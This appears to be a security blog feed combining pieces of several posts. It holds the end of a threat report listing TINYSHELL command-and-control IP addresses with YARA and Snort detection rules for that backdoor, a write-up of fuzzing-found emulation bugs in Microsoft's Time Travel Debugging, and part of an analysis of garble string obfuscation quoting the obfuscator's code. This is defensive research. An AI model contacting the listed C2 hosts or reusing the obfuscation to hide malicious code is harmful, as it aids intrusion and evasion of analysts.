7ae38a27494dd6c1bc9ab3c02c3709282e0ebcf1e5fcf59a57dc3ae56cfd13b4

Network Indicators

Description

Indicator

TINYSHELL Command and Control server

129.126.109.50:22

TINYSHELL Command and Control server

116.88.34.184:22

TINYSHELL Command and Control server

223.25.78.136:22

TINYSHELL Command and Control server

45.77.39.28:22

TINYSHELL Command and Control server

101.100.182.122:22

TINYSHELL Command and Control server

118.189.188.122:22

TINYSHELL Command and Control server

158.140.135.244:22

TINYSHELL Command and Control server

8.222.225.8:22

Detection YARA-L Rules

Relevant rules are available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set.

• SEAELF Installer Execution

• GHOSTTOWN Utility Execution

• REPTILE Rootkit Command Line Argument Tampering

• REPTILE Rootkit Cmd Component Usage

• REPTILE Rootkit Shell Component Usage

• REPTILE Rootkit Hide Command Usage

YARA Rules rule M_Hunting_PacketEncryptionLayer_1 { meta: author = "Mandiant" strings: $pel_1 = "pel_client_init" $pel_2 = "pel_server_init" $pel_3 = "pel_setup_context" $pel_4 = "pel_send_msg" $pel_5 = "pel_recv_msg" $pel_6 = "pel_send_all" $pel_7 = "pel_recv_all" $pel_8 = "pel_errno" $pel_9 = "pel_context" $pel_10 = "pel_ctx" $pel_11 = "send_ctx" $pel_12 = "recv_ctx" condition: 4 of ($pel_*) } rule M_Hunting_TINYSHELL_5 { meta: author = "Mandiant" strings: $tsh_1 = "tsh_get_file" $tsh_2 = "tsh_put_file" $tsh_3 = "tsh_runshell" $tshd_1 = "tshd_get_file" $tshd_2 = "tshd_put_file" $tshd_3 = "tshd_runshell" condition: all of ($tshd_*) or all of ($tsh_*) } Snort/Suricata Rules alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1"; dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; ) alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2"; dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; ) alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J"; content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; ) alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2"; dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83 92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )

Written by: Dhanesh Kizhakkinan, Nino Isakovic

Executive Summary

This blog post presents an in-depth exploration of Microsoft's Time Travel Debugging (TTD) framework, a powerful record-and-replay debugging framework for Windows user-mode applications. TTD relies heavily on accurate CPU instruction emulation to faithfully replay program executions. However, subtle inaccuracies within this emulation process can lead to significant security and reliability issues, potentially masking vulnerabilities or misleading critical investigations—particularly incident response and malware analysis. This could cause analysts to overlook threats or draw incorrect conclusions. Furthermore, attackers can exploit these inaccuracies to intentionally evade detection or disrupt forensic analyses, severely compromising investigative outcomes. 

The blog post examines specific challenges, provides historical context, and analyzes real-world emulation bugs, highlighting the critical importance of accuracy and ongoing improvement to ensure the effectiveness and reliability of investigative tooling. Ultimately, addressing these emulation issues directly benefits users by enhancing security analyses, improving reliability, and ensuring greater confidence in their debugging and investigative processes.

Overview

We begin with an introduction to TTD, detailing its use of a sophisticated CPU emulation layer powered by the Nirvana runtime engine. Nirvana translates guest instructions into host-level micro-operations, enabling detailed capture and precise replay of a program's execution history.

The discussion transitions into exploring historical challenges in CPU emulation, particularly for the complex x86 architecture. Key challenges include issues with floating-point and SIMD operations, memory model intricacies, peripheral and device emulation, handling of self-modifying code, and the constant trade-offs between performance and accuracy. These foundational insights lay the groundwork for our deeper examination of specific instruction emulation bugs discovered within TTD.

These include:

• A bug involving the emulation of the pop r16, resulting in critical discrepancies between native execution and TTD instrumentation.

• An issue with the push segment instruction that demonstrates differences between Intel and AMD CPU implementations, highlighting the importance of accurate emulation aligned with hardware behavior

• Errors in the implementation of the lodsb and lodsw instructions, where TTD incorrectly clears upper bits that should remain unchanged.

• An issue within the WinDbg TTDAnalyze debugging extension, where a fixed output buffer resulted in truncated data during symbol queries, compromising debugging accuracy.

Each case is supported by detailed analyses, assembly code proof-of-concept samples, and debugging traces, clearly illustrating the subtle but significant pitfalls in modern CPU emulation as it pertains to TTD.

Additional bugs discovered beyond those detailed here are pending disclosure until addressed by Microsoft. All bugs discussed in this post have been resolved as of TTD version 1.11.410.

Intro to TTD

Time Travel Debugging (TTD) is a powerful usermode record-and-replay framework developed by Microsoft, originally introduced in a 2006 whitepaper under a different name. It is a staple for our workflows as it pertains to Windows environments.

TTD allows a user to capture a comprehensive recording of a process (and potential child processes) during the lifetime of the process's execution. This is done by injecting a dynamic-link library (DLL) into the intended target process and capturing each state of the execution. This comprehensive historical view of the program's runtime behavior is stored in a database-like trace file (.trace), which, much like a database, can be further indexed to produce a corresponding .idx file for efficient querying and analysis.

Once recorded, trace files can be consumed by a compatible client that supports replaying the entire execution history. In other words, TTD effectively functions as a record/replay debugger, enabling analysts to move backward and forward through execution states as if navigating a temporal snapshot of the program's lifecycle.

TTD relies on a CPU emulation layer to accurately record and replay program executions. This layer is implemented by the Nirvana runtime engine, which simulates guest instructions by translating them into a sequence of simpler, host-level micro-operations. By doing so, Nirvana provides fine-grained control at the instruction and sub-instruction level, allowing instrumentation to be inserted at each stage of instruction processing (e.g., fetching, memory reads, writes). This approach not only ensures that TTD can capture the complete dynamic behavior of the original binary but also makes it possible to accurately re-simulate executions later.

Nirvana's dynamic binary translation and code caching techniques improve performance by reusing translated sequences when possible. In cases where code behaves unpredictably—such as self-modifying code scenarios—Nirvana can switch to a pure interpretation mode or re-translate instructions as needed. These adaptive strategies ensure that TTD maintains fidelity and efficiency during the record and replay process, enabling it to store execution traces that can be fully re-simulated to reveal intricate details of the code's behavior under analysis.

The TTD framework is composed of several core components:

• TTD: The main TTD client executable that takes as input a wide array of input arguments that dictate how the trace will be conducted.

• TTDRecord: The main DLL responsible for the recording that runs within the TTD client executable. It initiates the injection sequence into the target binary by injecting TTDLoader.dll.

• TTDLoader: DLL that gets injected into the guest process and initiates the recorder within the guest through the TTDRecordCPU DLL. It also establishes a process instrumentation callback within the guest process that allows Nirvana to monitor the egress of any system calls the guest makes.

• TTDRecordCPU: The recorder responsible for capturing the execution states into the .trace file. This is injected as a DLL into the guest process and communicates the status of the trace with TTDRecord. The core logic works by emulating the respective CPU.

• TTDReplay and TTDReplayClient: The replay components that read the captured state from the trace file and allow users to step through the recorded execution.

• Windbg uses these to provide support for replacing trace files.

• TTDAnalyze: A WinDbg extension that integrates with the replay client, providing exclusive TTD capacities to WinDbg. Most notable of these are the Calls and Memory data model methods.

CPU Emulation

Historically, CPU emulation—particularly for architectures as intricate as x86—has been a persistent source of engineering challenges. Early attempts struggled with instruction coverage and correctness, as documentation gaps and hardware errata made it difficult to replicate every nuanced corner case. Over time, a number of recurring problem areas and bug classes emerged:

• Floating-Point and SIMD Operations: Floating-point instructions, with their varying precision modes and extensive register states, have often been a source of subtle bugs. Miscalculating floating-point rounding, mishandling denormalized numbers, or incorrectly implementing special instructions like FSIN or FCOS can lead to silent data corruption or outright crashes. Similarly, SSE, AVX, and other vectorized instructions introduce complex states that must be tracked accurately.

• Memory Model and Addressing Issues: The x86 architecture's memory model, which includes segmentation, paging, alignment constraints, and potential misalignments in legacy code, can introduce complex bugs. Incorrectly emulating memory accesses, not enforcing proper page boundaries, or failing to handle "lazy" page faults and cache coherency can result in subtle errors that only appear under very specific conditions.

• Peripheral and Device Emulation: Emulating the behavior of x86-specific peripherals—such as serial I/O ports, PCI devices, PS/2 keyboards, and legacy controllers—can be particularly troublesome. These components often rely on undocumented behavior or timing quirks. Misinterpreting device-specific registers or neglecting to reproduce timing-sensitive interactions can lead to erratic emulator behavior or device malfunctions.

• Compatibility with Older or Unusual Processors: Emulating older generations of x86 processors, each with their own peculiarities and less standardized features, poses its own set of difficulties. Differences in default mode settings, instruction variants, and protected-mode versus real-mode semantics can cause unexpected breakages. A once-working emulator may fail after it encounters code written for a slightly different microarchitecture or an instruction that was deprecated or implemented differently in an older CPU.

• Self-Modifying Code and Dynamic Translation: Code that modifies itself at runtime demands adaptive strategies, such as invalidating cached translations or re-checking original code bytes on the fly. Handling these scenarios incorrectly can lead to stale translations, misapplied optimizations, and difficult-to-trace logic errors.

• Performance vs. Accuracy Trade-Offs: Historically, implementing CPU emulators often meant juggling accuracy with performance. Naïve instruction-by-instruction interpretation provided correctness but was slow. Introducing caching or just-in-time (JIT)-based optimizations risked subtle synchronization issues and bugs if not properly synchronized with memory updates or if instruction boundaries were not well preserved.

Collectively, these historical challenges underscore that CPU emulation is not just about instruction decoding. It requires faithfully recreating intricate details of processor states, memory hierarchies, peripheral interactions, and timing characteristics. Even as documentation and tooling have improved, achieving both correctness and efficiency remains a delicate balancing act, and emulation projects continue to evolve to address these enduring complexities.

The Initial TTD Bug

Executing a heavily obfuscated 32-bit Windows Portable Executable (PE) file under TTD instrumentation resulted in a crash. The same sample file did not cause a crash while executing in a real computer or in a virtual machine. We suspected either the sample is detecting TTD execution and or TTD itself has a bug in emulating an instruction. A good thing about debugging TTD issues is that the TTD trace file itself can be used to pinpoint the cause of the issue most of the time. Figure 1 points to the crash while in TTD emulation.

Figure 1: Crash while accessing an address pointed by register ESI

Back tracing the ESI register value to 0xfb3e took stepping back hundreds of instructions and ended up in the following sequence of instructions, as shown in Figure 2.

Figure 2: Register ESI getting populated by pop si and xchg si,bp

There are two instructions populating the ESI register, both working with the 16-bit sub register of SI while completely ignoring the other 16-bit part of the ESI register. If we look closely at the results after pop si instruction in Figure 2, the upper 16-bit of the ESI register seems to be nulled out. This looked like a bug in emulating pop r16 instructions, and we quickly wrote a proof-of-concept code for verification (Figure 3).

Figure 3: Proof-of-concept for pop r16

Running the resulting binary natively and with TTD instrumentation as shown in Figure 4 confirmed our suspicion that the pop r16 instructions are emulated differently in TTD than on a real CPU.

Figure 4: Running the code natively and with TTD instrumentation

We reported this issue and the fuzzing results to the TTD team at Microsoft.  

Fuzzing TTD

Given there is one instruction emulation bug (instruction sequence that produces different results in real vs TTD execution), we decided to fuzz TTD to find similar bugs. A rudimentary harness was created to execute a random sequence of instructions and record the resulting values. This harness was executed on a real CPU and under TTD instrumentation, providing us with two sets of results. Any changes in results or partial lack of results points us to a likely instruction emulation bug.

Results Bug 1: PUSH segment Instruction Emulation Discrepancy

Figure 5: Proof-of-concept for push segment

This new bug was fairly similar to the original pop r16 bug, but with a push segment instruction. This bug also comes with a little bit of twist. While our fuzzer was running on an Intel CPU-based machine and one of us verified the bug locally, the other person was not able to verify the bug. Interestingly, the failure happened on an AMD-based CPU, tipping us to the possibility that the push segment instruction implementation varies between INTEL and AMD CPUs.

Looking at both INTEL and AMD CPU specifications, INTEL specification goes into details about how recent processors implement push segment register instruction:

If the source operand is a segment register (16 bits) and the operand size is 64-bits, a zero-extended value is pushed on the stack; if the operand size is 32-bits, either a zero-extended value is pushed on the stack or the segment selector is written on the stack using a 16-bit move. For the last case, all recent Intel Core and Intel Atom processors perform a 16-bit move, leaving the upper portion of the stack location unmodified. (INTEL spec Vol.2B 4-517)

We reported the discrepancy to AMD PSIRT, who concluded that this is not a security vulnerability. It seems sometime circa 2007 INTEL and AMD CPU started implementing the push segment instruction differently, and TTD emulation followed the old way.

Bug 2: lodsb/lodsw Instruction Emulation Discrepancy

The lodsb and lodsw are not correctly implemented for both 32-bit and 64-bit instructions. Both clear the upper bits of the register (rax/eax) whereas the original instructions only modify their respective granularities (i.e., lodsb will only overwrite 1-byte, lodsw only 2-bytes).

Figure 6: Proof-of-concept for lodsb/lodsw

There are additional instruction emulation bugs pending fixes from Microsoft. 

Bug 3: Windbg TTDAnalyze Output Capture Truncation

As we were pursuing our efforts in the CPU emulator, we accidentally stumbled on another bug, this time not in the emulator but inside the Windbg extension exposed by TTD: TTDAnalyze.dll.

This extension leverages the debugger's data model to allow a user to interact with the trace file in an interactive manner. This is done via exposing a TTD data model namespace under certain parts of the data model, such as the current process (@$curproces), the current thread (@$curthread), and current debugging session (@$cursession).

Figure 7: TTD query types

As an example, the @$cursession.TTD.Calls method allows a user to query all call locations captured within the trace. It takes as input either an address or case-insensitive symbol name with support for regex. The symbol name can either be in the format of a string (with quotes) or parsed symbol name (without quotes). The former is only applicable when the symbols are resolved fully (e.g., private symbols), as the data model has support for converting private symbols into an ObjectTargetObject object thus making it consumable to the dx evaluation expression parser.

The bug in question directly affects the exposed Calls method under @$cursession.TTD.Calls because it uses a fixed, static buffer to capture the results of the symbol query. In Figure 8 we illustrate that by passing in two similar regex strings that produce inconsistent results.

Figure 8: TTD Calls query

When we query C* and Create*, the C* query results do not return the other Create APIs that were clearly captured in the trace. Under the hood, TTDAnalyze executes the examine debugger command "x KERNELBASE!C*" with a custom output capture to process the results. This output capture truncates any captured data if it is greater than 64 KB in size.

If we take the disassembly of the global buffer and output capture routine in TTDAnalyze (SHA256 CC5655E29AFA87598E0733A1A65D1318C4D7D87C94B7EBDE89A372779FF60BAD) prior to the fix, we can see the following (Figure 9 and Figure 10):

Figure 9: TTD implementation disassembly

Figure 10: TTD implementation disassembly

The capture for the examine command is capped at 64 KB. When the returned data exceeds this limit, truncation is performed at address 0x180029960. Naturally querying symbols starting with C* typically yields a large volume of results, not just those beginning with Create*, leading to the observed truncation of the data.

Final Thoughts

The analysis presented in this blog post highlights the critical nature of accuracy in instruction emulation—not just for debugging purposes, but also for ensuring robust security analysis. The observed discrepancies, while subtle, underscore a broader security concern: even minor deviations in emulation behavior can misrepresent the true execution of code, potentially masking vulnerabilities or misleading forensic investigations.

From a security perspective, the work emphasizes several key takeaways:

• Reliability of Debugging Tools: TTD and similar frameworks are invaluable for reverse engineering and incident response. However, any inaccuracies in emulation, such as those revealed by the misinterpretation of pop r16, push segment, or lods* instructions, can compromise the fidelity of the analysis. This raises important questions about trust in our debugging tools when they are used to analyze potentially malicious or critical code.

• Impact on Threat Analysis: The ability to replay a process's execution with high fidelity is crucial for uncovering hidden behaviors in malware or understanding complex exploits. Instruction emulation bugs may inadvertently alter the execution path or state, leading to incomplete or skewed insights that could affect the outcome of a security investigation.

• Collaboration and Continuous Improvement: The discovery of these bugs, followed by their detailed documentation and reporting to the relevant teams at Microsoft and AMD, highlights the importance of a collaborative approach to security research. Continuous testing, fuzzing, and cross-platform comparisons are essential in maintaining the integrity and security of our analysis tools.

In conclusion, this exploration not only sheds light on the nuanced challenges of CPU emulation within TTD, but also serves as a call to action for enhanced scrutiny and rigorous validation of debugging frameworks. By ensuring that these tools accurately mirror native execution, we bolster our security posture and improve our capacity to detect, analyze, and respond to sophisticated threats in an ever-evolving digital landscape.

Acknowledgments

We extend our gratitude to the Microsoft Time Travel Debugging team for their readiness and support in addressing the issues we reported. Their prompt and clear communication not only resolved the bugs but also underscored their commitment to keeping TTD robust and reliable. We further appreciate that they have made TTD publicly available—a resource invaluable for both troubleshooting and advancing Windows security research.

Written by: Chuong Dong

Overview

In our day-to-day work, the FLARE team often encounters malware written in Go that is protected using garble. While recent advancements in Go analysis from tools like IDA Pro have simplified the analysis process, garble presents a set of unique challenges, including stripped binaries, function name mangling, and encrypted strings.

Garble's string encryption, while relatively straightforward, significantly hinders static analysis. In this blog post, we'll detail garble’s string transformations and the process of automatically deobfuscating them.

We're also introducing GoStringUngarbler, a command-line tool written in Python that automatically decrypts strings found in garble-obfuscated Go binaries. This tool can streamline the reverse engineering process by producing a deobfuscated binary with all strings recovered and shown in plain text, thereby simplifying static analysis, malware detection, and classification.

aside_block

<ListValue: [StructValue([('title', 'Get GoStringUngarbler!'), ('body', <wagtail.rich_text.RichText object at 0x3e3026ac0f40>), ('btn_text', 'Download now'), ('href', 'https://github.com/mandiant/gostringungarbler'), ('image', None)])]>

Garble Obfuscating Compiler

Before detailing the GoStringUngarbler tool, we want to briefly explain how the garble compiler modifies the build process of Go binaries. By wrapping around the official Go compiler, garble performs transformations on the source code during compilation through Abstract Syntax Tree (AST) manipulation using Go’s go/ast library. Here, the obfuscating compiler modifies program elements to obfuscate the produced binary while preserving the semantic integrity of the program. Once transformed by garble, the program’s AST is fed back into the Go compilation pipeline, producing an executable that is harder to reverse engineer and analyze statically. 

While garble can apply a variety of transformations to the source code, this blog post will focus on its "literal" transformations. When garble is executed with the -literals flag, it transforms all literal strings in the source code and imported Go libraries into an obfuscated form. Each string is encoded and wrapped behind a decrypting function, thwarting static string analysis. 

For each string, the obfuscating compiler can randomly apply one of the following literal transformations. We'll explore each in greater detail in subsequent sections.

• Stack transformation: This method implements runtime encoding to strings stored directly on the stack.

• Seed transformation: This method employs a dynamic seed-based encryption mechanism where the seed value evolves with each encrypted byte, creating a chain of interdependent encryption operations.

• Split transformation: This method fragments the encrypted strings into multiple chunks, each to be decrypted independently in a block of a main switch statement.

Stack Transformation

The stack transformation in garble implements runtime encrypting techniques that operate directly on the stack, using three distinct transformation types: simple, swap, and shuffle. These names are taken directly from the garble’s source code. All three perform cryptographic operations with the string residing on the stack, but each differs in complexity and approach to data manipulation.

• Simple transformation: This transformation applies byte-by-byte encoding using a randomly generated mathematical operator and a randomly generated key of equal length to the input string.
• Swap transformation: This transformation applies a combination of byte-pair swapping and position-dependent encoding, where pairs of bytes are shuffled and encrypted using dynamically generated local keys.
• Shuffle transformation: This transformation applies multiple layers of encryption by encoding the data with random keys, interleaving the encrypted data with its keys, and applying a permutation with XOR-based index mapping to scatter the encrypted data and keys throughout the final output.

Simple Transformation

This transformation implements a straightforward byte-level encoding scheme at the AST level. The following is the implementation from the garble repository. In Figure 1 and subsequent code samples taken from the garble repository, comments were added by the author for readability.

// Generate a random key with the same length as the input string key := make([]byte, len(data)) // Fill the key with random bytes obfRand.Read(key) // Select a random operator (XOR, ADD, SUB) to be used for encryption op := randOperator(obfRand) // Encrypt each byte of the data with the key using the random operator for i, b := range key { data[i] = evalOperator(op, data[i], b) }

Figure 1: Simple transformation implementation

The obfuscator begins by generating a random key of equal length to the input string. It then randomly selects a reversible arithmetic operator (XOR, addition, or subtraction) that will be used throughout the encoding process.

The obfuscation is performed by iterating through the data and key bytes simultaneously, applying the chosen operator between each corresponding pair to produce the encoded output.

Figure 2 shows the decompiled code produced by IDA of a decrypting subroutine of this transformation type.

Figure 2: Decompiled code of a simple transformation decrypting subroutine

Swap Transformation

The swap transformation uses a byte-shuffling and encryption algorithm to encrypt a string literal. Figure 3 shows its implementation from the garble repository.

// Determines how many swap operations to perform based on data length func generateSwapCount(obfRand *mathrand.Rand, dataLen int) int { // Start with number of swaps equal to data length swapCount := dataLen // Calculate maximum additional swaps (half of data length) maxExtraPositions := dataLen / 2 // Add a random amount if we can add extra positions if maxExtraPositions > 1 { swapCount += obfRand.Intn(maxExtraPositions) } // Ensure swap count is even by incrementing if odd if swapCount%2 != 0 { swapCount++ } return swapCount } func (swap) obfuscate(obfRand *mathrand.Rand, data []byte) *ast.BlockStmt { // Generate number of swap operations to perform swapCount := generateSwapCount(obfRand, len(data)) // Generate a random shift key shiftKey := byte(obfRand.Uint32()) // Select a random reversible operator for encryption op := randOperator(obfRand) // Generate list of random positions for swapping bytes positions := genRandIntSlice(obfRand, len(data), swapCount) // Process pairs of positions in reverse order for i := len(positions) - 2; i >= 0; i -= 2 { // Generate a position-dependent local key for each pair localKey := byte(i) + byte(positions[i]^positions[i+1]) + shiftKey // Perform swap and encryption: // - Swap positions[i] and positions[i+1] // - Encrypt the byte at each position with the local key data[positions[i]], data[positions[i+1]] = evalOperator(op, data[positions[i+1]], localKey), evalOperator(op, data[positions[i]], localKey) } ...

Figure 3: Swap transformation implementation

The transformation begins by generating an even number of random swap positions, which is determined based on the data length plus a random number of additional positions (limited to half the data length). The compiler then randomly generates a list of random swap positions with this length.

The core obfuscation process operates by iterating through pairs of positions in reverse order, performing both a swap operation and encryption on each pair. For each iteration, it generates a position-dependent local encryption key by combining the iteration index, the XOR result of the current position pair, and a random shift key. This local key is then used to encrypt the swapped bytes with a randomly selected reversible operator.

Figure 4 shows the decompiled code produced by IDA of a decrypting subroutine of the swap transformation.

Figure 4: Decompiled code of a swap transformation decrypting subroutine

Shuffle Transformation

The shuffle transformation is the most complicated of the three stack transformation types. Here, garble applies its obfuscation by encrypting the original string with random keys, interleaving the encrypted data with its keys, and scattering the encrypted data and keys throughout the final output. Figure 5 shows the implementation from the garble repository.

// Generate a random key with the same length as the original string key := make([]byte, len(data)) obfRand.Read(key) // Constants for the index key size bounds const ( minIdxKeySize = 2 maxIdxKeySize = 16 ) // Initialize index key size to minimum value idxKeySize := minIdxKeySize // Potentially increase index key size based on input data length if tmp := obfRand.Intn(len(data)); tmp > idxKeySize { idxKeySize = tmp } // Cap index key size at maximum value if idxKeySize > maxIdxKeySize { idxKeySize = maxIdxKeySize } // Generate a secondary key (index key) for index scrambling idxKey := make([]byte, idxKeySize) obfRand.Read(idxKey) // Create a buffer that will hold both the encrypted data and the key fullData := make([]byte, len(data)+len(key)) // Generate random operators for each position in the full data buffer operators := make([]token.Token, len(fullData)) for i := range operators { operators[i] = randOperator(obfRand) } // Encrypt data and store it with its corresponding key // First half contains encrypted data, second half contains the key for i, b := range key { fullData[i], fullData[i+len(data)] = evalOperator(operators[i], data[i], b), b } // Generate a random permutation of indices shuffledIdxs := obfRand.Perm(len(fullData)) // Apply the permutation to scatter encrypted data and keys shuffledFullData := make([]byte, len(fullData)) for i, b := range fullData { shuffledFullData[shuffledIdxs[i]] = b } // Prepare AST expressions for decryption args := []ast.Expr{ast.NewIdent("data")} for i := range data { // Select a random byte from the index key keyIdx := obfRand.Intn(idxKeySize) k := int(idxKey[keyIdx]) // Build AST expression for decryption: // 1. Uses XOR with index key to find the real positions of data and key // 2. Applies reverse operator to decrypt the data using the corresponding key args = append(args, operatorToReversedBinaryExpr( operators[i], // Access encrypted data using XOR-ed index ah.IndexExpr("fullData", &ast.BinaryExpr{X: ah.IntLit(shuffledIdxs[i] ^ k), Op: token.XOR, Y: ah.CallExprByName("int", ah.IndexExpr("idxKey", ah.IntLit(keyIdx)))}), // Access corresponding key using XOR-ed index ah.IndexExpr("fullData", &ast.BinaryExpr{X: ah.IntLit(shuffledIdxs[len(data)+i] ^ k), Op: token.XOR, Y: ah.CallExprByName("int", ah.IndexExpr("idxKey", ah.IntLit(keyIdx)))}), )) }

Figure 5: Shuffle transformation implementation

Garble begins by generating two types of keys: a primary key of equal length to the input string for data encryption and a smaller index key (between two and 16 bytes) for index scrambling. The transformation process then occurs in the following four steps:

1. Initial encryption: Each byte of the input data is encrypted using a randomly generated reversible operator with its corresponding key byte.

2. Data interleaving: The encrypted data and key bytes are combined into a single buffer, with encrypted data in the first half and corresponding keys in the second half.

3. Index permutation: The key-data buffer undergoes a random permutation, scattering both the encrypted data and keys throughout the buffer.

4. Index encryption: Access to the permuted data is further obfuscated by XOR-ing the permuted indices with randomly selected bytes from the index key.

Figure 6 shows the decompiled code produced by IDA of a decrypting subroutine of the shuffle transformation.

Figure 6: Decompiled code of a shuffle transformation decrypting subroutine

Seed Transformation

The seed transformation implements a chained encoding scheme where each byte’s encryption depends on the previous encryptions through a continuously updated seed value. Figure 7 shows the implementation from the garble repository.

// Generate random initial seed value seed := byte(obfRand.Uint32()) // Store original seed for later use in decryption originalSeed := seed // Select a random reversible operator for encryption op := randOperator(obfRand) var callExpr *ast.CallExpr // Encrypt each byte while building chain of function calls for i, b := range data { // Encrypt current byte using current seed value encB := evalOperator(op, b, seed) // Update seed by adding encrypted byte seed += encB if i == 0 { // Start function call chain with first encrypted byte callExpr = ah.CallExpr(ast.NewIdent("fnc"), ah.IntLit(int(encB))) } else { // Add subsequent encrypted bytes to function call chain callExpr = ah.CallExpr(callExpr, ah.IntLit(int(encB))) } } ...

Figure 7: Seed transformation implementation

Garble begins by randomly generating a seed value to be used for encryption. As the compiler iterates through the input string, each byte is encrypted by applying the random operator with the current seed, and the seed is updated by adding the encrypted byte. In this seed transformation, each byte’s encryption depends on the result of the previous one, creating a chain of dependencies through the continuously updated seed.

In the decryption setup, as shown in the IDA decompiled code in Figure 8, the obfuscator generates a chain of calls to a decrypting function. For each encrypted byte starting with the first one, the decrypting function applies the operator to decrypt it with the current seed and updates the seed by adding the encrypted byte to it. Because of this setup, subroutines of this transformation type are easily recognizable in the decompiler and disassembly views due to the multiple function calls it makes in the decryption process.

Figure 8: Decompiled code of a seed transformation decrypting subroutine

Figure 9: Disassembled code of a seed transformation decrypting subroutine

Split Transformation

The split transformation is one of the more sophisticated string transformation techniques by garble, implementing a multilayered approach that combines data fragmentation, encryption, and control flow manipulation. Figure 10 shows the implementation from the garble repository.

func (split) obfuscate(obfRand *mathrand.Rand, data []byte) *ast.BlockStmt { var chunks [][]byte // For small input, split into single bytes // This ensures even small payloads get sufficient obfuscation if len(data)/maxChunkSize < minCaseCount { chunks = splitIntoOneByteChunks(data) } else { chunks = splitIntoRandomChunks(obfRand, data) } // Generate random indexes for all chunks plus two special cases: // - One for the final decryption operation // - One for the exit condition indexes := obfRand.Perm(len(chunks) + 2) // Initialize the decryption key with a random value decryptKeyInitial := byte(obfRand.Uint32()) decryptKey := decryptKeyInitial // Calculate the final decryption key by XORing it with position-dependent values for i, index := range indexes[:len(indexes)-1] { decryptKey ^= byte(index * i) } // Select a random reversible operator for encryption op := randOperator(obfRand) // Encrypt all data chunks using the selected operator and key encryptChunks(chunks, op, decryptKey) // Get special indexes for decrypt and exit states decryptIndex := indexes[len(indexes)-2] exitIndex := indexes[len(indexes)-1] // Create the decrypt case that reassembles the data switchCases := []ast.Stmt{&ast.CaseClause{ List: []ast.Expr{ah.IntLit(decryptIndex)}, Body: shuffleStmts(obfRand, // Exit case: Set next state to exit &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("i")}, Tok: token.ASSIGN, Rhs: []ast.Expr{ah.IntLit(exitIndex)}, }, // Iterate through the assembled data and decrypt each byte &ast.RangeStmt{ Key: ast.NewIdent("y"), Tok: token.DEFINE, X: ast.NewIdent("data"), Body: ah.BlockStmt(&ast.AssignStmt{ Lhs: []ast.Expr{ah.IndexExpr("data", ast.NewIdent("y"))}, Tok: token.ASSIGN, Rhs: []ast.Expr{ // Apply the reverse of the encryption operation operatorToReversedBinaryExpr( op, ah.IndexExpr("data", ast.NewIdent("y")), // XOR with position-dependent key ah.CallExpr(ast.NewIdent("byte"), &ast.BinaryExpr{ X: ast.NewIdent("decryptKey"), Op: token.XOR, Y: ast.NewIdent("y"), }), ), }, }), }, ), }} // Create switch cases for each chunk of data for i := range chunks { index := indexes[i] nextIndex := indexes[i+1] chunk := chunks[i] appendCallExpr := &ast.CallExpr{ Fun: ast.NewIdent("append"), Args: []ast.Expr{ast.NewIdent("data")}, } ... // Create switch case for this chunk switchCases = append(switchCases, &ast.CaseClause{ List: []ast.Expr{ah.IntLit(index)}, Body: shuffleStmts(obfRand, // Set next state &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("i")}, Tok: token.ASSIGN, Rhs: []ast.Expr{ah.IntLit(nextIndex)}, }, // Append this chunk to the collected data &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("data")}, Tok: token.ASSIGN, Rhs: []ast.Expr{appendCallExpr}, }, ), }) } // Final block creates the state machine loop structure return ah.BlockStmt( ... // Update decrypt key based on current state and counter Body: ah.BlockStmt( &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("decryptKey")}, Tok: token.XOR_ASSIGN, Rhs: []ast.Expr{ &ast.BinaryExpr{ X: ast.NewIdent("i"), Op: token.MUL, Y: ast.NewIdent("counter"), }, }, }, // Main switch statement as the core of the state machine &ast.SwitchStmt{ Tag: ast.NewIdent("i"), Body: ah.BlockStmt(shuffleStmts(obfRand, switchCases...)...), }),

Figure 10: Split transformation implementation

The transformation begins by splitting the input string into chunks of varying sizes. Shorter strings are broken into individual bytes, while longer strings are divided into random-sized chunks of up to four bytes.

The transformation then constructs a decrypting mechanism using a switch-based control flow pattern. Rather than processing chunks sequentially, the compiler generates a randomized execution order through a series of switch cases. Each case handles a specific chunk of data, encrypting it with a position-dependent key derived from both the chunk's position and a global encryption key.

In the decryption setup, as shown in the IDA decompiled code in Figure 11, the obfuscator first collects the encrypted data by going through each chunk in their corresponding order. In the final switch case, the compiler performs a final pass to XOR-decrypt the encrypted buffer. This pass uses a continuously updated key that depends on both the byte position and the execution path taken through the switch statement to decrypt each byte.

Figure 11: Decompiled code of a split transformation decrypting subroutine

GoStringUngarbler: Automatic String Deobfuscator

To systematically approach string decryption automation, we first consider how this can be done manually. From our experience, the most efficient manual approach leverages dynamic analysis through a debugger. Upon finding a decrypting subroutine, we can manipulate the program counter to target the subroutine's entry point, execute until the ret instruction, and extract the decrypted string from the return buffer.

To perform this process automatically, the primary challenge lies in identifying all decrypting subroutines introduced by garble's transformations. Our analysis revealed a consistent pattern—decrypted strings are always processed through Go's runtime_slicebytetostring function before being returned by the decrypting subroutine. This observation provides a reliable anchor point, allowing us to construct regular expression (regex) patterns to automatically detect these subroutines.

String Encryption Subroutine Patterns

Through analyzing the disassembled code, we have identified consistent instruction patterns for each string transformation variant. For each transformation on 64-bit binaries, rbx is used to store the decrypted string pointer, and rcx is assigned with the length of the decrypted string. The main difference between the transformations is the way these two registers are populated before the call to runtime_slicebytetostring.

